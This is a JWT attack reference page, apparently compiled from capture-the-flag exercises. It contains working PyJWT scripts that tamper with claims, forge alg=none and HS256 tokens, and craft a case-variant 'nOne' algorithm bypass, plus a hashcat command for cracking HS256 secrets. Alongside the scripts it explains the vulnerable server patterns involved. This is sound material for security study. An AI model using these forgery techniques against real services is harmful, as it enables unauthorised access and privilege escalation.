Skip to content
JWT

JWT

JWT — decode header & payload (no verify)

A compact JSON Web Token contains three dot-separated text segments:

<BASE64URL_HEADER>.<BASE64URL_PAYLOAD>.<BASE64URL_SIGNATURE>

The header is a JSON object describing token metadata such as the signing algorithm. The payload is a JSON object containing claims, which are named pieces of application data such as a user identifier or role. The signing input is the exact text <BASE64URL_HEADER>.<BASE64URL_PAYLOAD>. A signing algorithm and key produce the signature bytes stored in the third segment. Verification checks those bytes with the server’s expected key and fails if either encoded JSON segment was modified.

Decoding without signature verification only reads the JSON; it does not prove who created the token. get_unverified_header() reads the header, while decode(..., options={"verify_signature": False}) reads the payload claims.

import jwt

header = jwt.get_unverified_header(TOKEN)
payload = jwt.decode(TOKEN, options={"verify_signature": False})
print(header, payload)

PyJWT handles the Base64url decoding, omitted padding, and conversion from JSON into Python dictionaries.

Find by: jwt, pyjwt, json web token, decode, header, payload, claims, base64url, inspect, get unverified header, verify signature false, alg, none, gap, bearer

JWT — tamper claims when the server only decodes

This flaw exists when application code decodes JWT claims and uses them for authorization without first verifying the signature. Decoding answers what the token claims; signature verification determines whether a trusted signer created those exact claims.

Vulnerable server pattern

const payload = jwt.decode(token);

if (payload.role === "admin") {
    // privileged operation
}

The server-side jwt.decode() call shown above reads the claims but does not prove that the token was signed with the expected key. PyJWT can therefore read the original token without validation, modify the required claim, and create another correctly formatted token:

import jwt

def tamper_jwt(token):
    payload = jwt.decode(token, options={"verify_signature": False})
    payload["<CLAIM>"] = "<VALUE>"
    tampered_token = jwt.encode(payload, "<ARBITRARY_KEY>", algorithm="HS256")
    return tampered_token

tampered_token = tamper_jwt(TOKEN)

jwt.encode() still creates an HS256 signature, but its key can be arbitrary only because the vulnerable server never checks that signature. Signature verification with the expected key would reject the modified header and payload.

Find by: jwt, pyjwt, tamper jwt, modify claims, verify_signature false, decode without verify, jwt decode instead of verify, arbitrary signing key, privilege escalation · Source: HTB/TheMagicInformer

JWT — forge (alg=none & HS256 resign)

Two different conditions permit token forgery.

With an alg: none flaw, the verification path accepts a token declaring that it has no signature. The token retains the trailing dot that separates the empty signature segment. Merely placing none in the attacker-controlled header is insufficient; the server or JWT library configuration must actually permit unsigned tokens.

With HS256, the signature is a hash-based message authentication code calculated from the encoded header and payload using one shared secret. A leaked or guessable secret permits arbitrary claims to be encoded and signed. Guessing is performed offline because each candidate signature can be compared with the signature already present in a captured token.

import jwt

def forge_none(claims):
    forged_token = jwt.encode(claims, key=None, algorithm="none")
    return forged_token

def forge_hs256(claims, secret):
    forged_token = jwt.encode(claims, secret, algorithm="HS256")
    return forged_token

claims = {
    "user": "admin",
    "role": "admin"
}
unsigned_token = forge_none(claims)
signed_token = forge_hs256(claims, "<SECRET>")
print(unsigned_token)
print(signed_token)

algorithm="none" creates the unsigned token with an empty third segment and the required trailing dot. algorithm="HS256" calculates the signature with the supplied shared secret.

Hashcat mode 16500 tests candidate HS256 secrets against a captured JWT:

hashcat -m 16500 token.jwt rockyou.txt

Find by: jwt, forge, alg none, hs256, resign, secret, sign, privilege escalation, admin, tamper, weak key, gap, crack

JWT — case-variant unsigned algorithm bypass

A case-variant bypass can exist when application code rejects only the exact string none while the installed JWT verification dependency compares algorithm names without case sensitivity.

Vulnerable server pattern

const decodedToken = jwt.decode(token, {complete: true});
const algorithm = decodedToken.header.alg;

if (algorithm === "none") {
    return rejectRequest();
}

const claims = jwt.verify(token, null, {
    algorithms: [algorithm]
});

The exact comparison allows a case variant such as nOne to reach verify(). The verification allowlist is then built from the attacker-controlled header itself. A dependency that resolves nOne to its unsigned algorithm accepts the token with no key and an empty signature segment.

This behavior depends on the installed verification dependency. For example, node-jwa 1.4.1 matched algorithm names with a case-insensitive regular expression. A version that requires the exact lowercase name rejects nOne.

PyJWT requires the case-variant name to be registered before it can create the token:

import jwt

jwt.register_algorithm("nOne", jwt.algorithms.NoneAlgorithm())

def craft_jwt():
    headers = {
        "alg": "nOne",
        "typ": "JWT"
    }
    claims = {
        "<CLAIM>": "<VALUE>"
    }
    forged_token = jwt.encode(claims, key=None, headers=headers)
    return forged_token

register_algorithm() associates the exact name nOne with PyJWT’s unsigned-token implementation. The alg member in headers selects that registered implementation and preserves the required capitalization in the encoded token. key=None supplies the required key argument without adding a signing key.

Find by: jwt, pyjwt, alg none, none bypass, none case bypass, case sensitive comparison, case variant algorithm, nOne, register algorithm, NoneAlgorithm, unsigned jwt, attacker controlled algorithm allowlist, node-jwa